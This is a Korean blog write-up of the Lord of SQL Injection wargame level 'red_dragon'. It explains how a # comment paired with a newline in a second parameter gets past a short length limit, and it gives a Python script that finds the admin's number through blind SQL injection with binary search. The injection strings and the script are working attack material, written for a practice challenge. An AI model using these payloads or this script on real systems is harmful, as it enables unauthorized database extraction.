박수가 절로 나오는 문제였다. 예전 문제에 admin 이라는 문자열 필터링을 우회하기 위하여 adadminmin 과 같은 방식으로 썼던 것이 기억 나는가? 무언가 유사한 패턴이다. 주석에 대한 특성도 같이 사용된 문제였다.
문제는 admin 계정의 no를 알아내는 것이다. pw를 찾는 것과 유사하다. Blind SQL Injection 문제로 보인다.
id는 7글자밖에 사용하지 못한다. no 영역은 숫자가 아니면 1을 반환한다. 따라서 no 에서는 아무런 짓을 할 수가 없다. 처음에는 no영역에 16진수를 넣으면 되지 않을까 했지만 PHP 문법의 is_numeric 함수에서는 16진수와 2진수는 적용되지 않는다고 한다. 우선 id에서 Hello 라는 문자열을 출력시키기 위하여 필요한 최소 글자는 어떻게 될지 보자.
?id='||1%23
5글자이다. 또한 table에 admin 밖에 존재하지 않거나 admin이 가장 상위에 존재하는 것 같다. 하지만 이것으로는 no에 대한 쥐꼬리만큼의 정보도 얻을 수 없다. no의 정보를 뜯자.
?id='||no>0%23
too long string
기가 막히게 8글자가 필요하여 글자수 필터링에 걸린다. 자, # 주석은 한 줄만 주석화 된다는 것을 알고 있다. 이를 이용하면 뒤쪽의 no영역과 융합하여 위대한 효과를 낼 수 있지 않을까?
?id='||no>%23&no=%0a0
그렇다. no 영역에 개행문자를 넣어주고 그 뒤에 우리가 비교하고 싶은 값을 넣어주면 주석으로 인하여 가운데 영역, 즉 #' and no=%0a 부분이 주석처리 되면서 뒤의 0이라는 값만이 살아남게 된다. 결과적으로는 no>0 이라는 부등식이 생기게 되고, 참/거짓 여부를 파악할 수 있다. 여기까지면 충분하다. 부등호 대신 등호를 넣어주고 적당한 범위 내에서 no 값을 찾으면 될 것 같다.
그러나 적당한 숫자가 아닌 것 같다. no>100,000,000 이어도 참값을 나타낸다. no>1,000,000,000 은 거짓으로 나타나기에 no 는 9자리수로 추정된다. 반복문을 돌리는 것은 미친짓이다. 기존에 사용하던 특정값을 2진수로 변환하여 비트 하나하나씩 비교하는 방법은 글자수 제한과 no 값을 오직 숫자로만 넣어야 하기 때문에 불가능하다.
이때 사용할 수 있는 방법이 '이진탐색'이다. 흔히 이진탐색은 리스트나 배열에서 우리가 원하는 특정한 값을 찾아내는 알고리즘이다. 우리는 특정한 값을 지정할 수는 없지만, 그 특정값이 중간값을 기준으로 좌측에 존재하는지, 우측에 존재하는지를 "Hello admin"이라는 문자열 출력으로 하여금 간접적으로 알 수 있다.
다음은 이진탐색 알고리즘을 이해할 때 내가 작성한 예시이다. 여기서 key 값은 67이다.
위와 같이 세 값이 모두 동일해지는 과정을 거친 후에 high 값이 low 값보다 작아지게 되면서 key 값을 return 한다.
코드는 다음과 같다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Find NO by binary_search
def binary_search(low, high):
mid = (high + low) // 2
print("Current MID value --> " + str(mid))
if high < low:
return mid
payload = "?id='||no<%23&no=%0a" + str(mid)
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello admin" in res.text:
return binary_search(low, mid - 1)
else:
return binary_search(mid + 1, high)
# Check Length of PW
if __name__ == "__main__":
key = binary_search(100000000, 1000000000)
print("\nRESULT of BIN_SEARCH : " + str(key))
실제로 MID 값을 출력해보면 high < low 상태가 되기 바로 이전에 MID 값이 key, key + 1, key 순서대로 바뀌면서 key를 찾는다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - frankenstein (0) | 2021.09.01 |
---|---|
Lord of SQL Injection - phantom (1) | 2021.09.01 |
Lord of SQL Injection - blue_dragon (0) | 2021.08.29 |
Lord of SQL Injection - evil_wizard (0) | 2021.08.26 |
Lord of SQL Injection - green_dragon (0) | 2021.08.26 |